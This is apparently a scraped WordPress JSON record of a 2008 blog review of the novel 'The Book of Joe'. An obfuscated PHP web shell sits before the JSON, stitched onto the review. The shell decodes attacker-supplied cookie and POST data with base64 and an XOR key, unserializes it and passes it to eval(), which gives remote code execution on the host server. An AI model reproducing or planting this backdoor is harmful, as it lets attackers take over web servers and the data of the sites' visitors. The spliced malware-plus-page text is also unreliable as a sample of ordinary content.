$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":432,"date":"2008-11-08T09:44:09","date_gmt":"2008-11-08T13:44:09","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=432"},"modified":"2008-11-08T09:50:24","modified_gmt":"2008-11-08T13:50:24","slug":"book-review-the-book-of-joe","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=432","title":{"rendered":"Book Review: The Book of Joe"},"content":{"rendered":"

I wanted to love “The Book of Joe<\/a>.” The story sounded perfect for me – immature guy faces a situation where he desperately needs to grow up. Unfortunately, I couldn’t muster up love for Jonathan Tropper<\/a>‘s 2004 novel. I did like it a lot, however.<\/p>\n

$\"\"$ I somehow read 300-some pages about Joe Goffman, the namesake character, and still knew very little about him. I learned lots of metaphors describing the colors and sounds and smells around Bush Falls, the hometown which hates him because he demonized almost everyone in a novel about his high school days, but I didn’t learn much about Joe.<\/p>\n

One thing I did learn is that he’s stubborn. He won’t give up the hope of re-connecting with his high school love because they are meant to be together regardless of what else happens. He won’t try to get closer to his brother because his brother was a jock like their father and Joe couldn’t care less about basketball, the thread which holds Bush Falls together. He won’t leave his friend Wayne, dying of AIDS, because he feels his characterization of Wayne in his novel contributed to Wayne’s terminal condition.<\/p>\n

The thing is, Joe seems to make decisions about all those situations not because he really cares, but because he needs to be defined by his stubbornness. When the town bully and his brother both tell him to leave town, he stays. The excuse is that Wayne wants to move into Joe’s father’s house to die peacefully, but you just know that’s merely the plot device. Joe would stay anyway because it would bother people, not because it was the right thing to do.<\/p>\n

Even with all this nitpicking, I did enjoy the book a lot. The story contained a bunch of literal laugh-out-loud moments. And you really feel like you know many of the secondary characters. Also, Joe’s journey as a writer through all the tragedies he faces upon his return to Bush Falls rings very true. Tropper does a wonderful job capturing the complicated mind of a writer. I just think he fell short in explaining how that translates to every day life.<\/p>\n","protected":false},"excerpt":{"rendered":"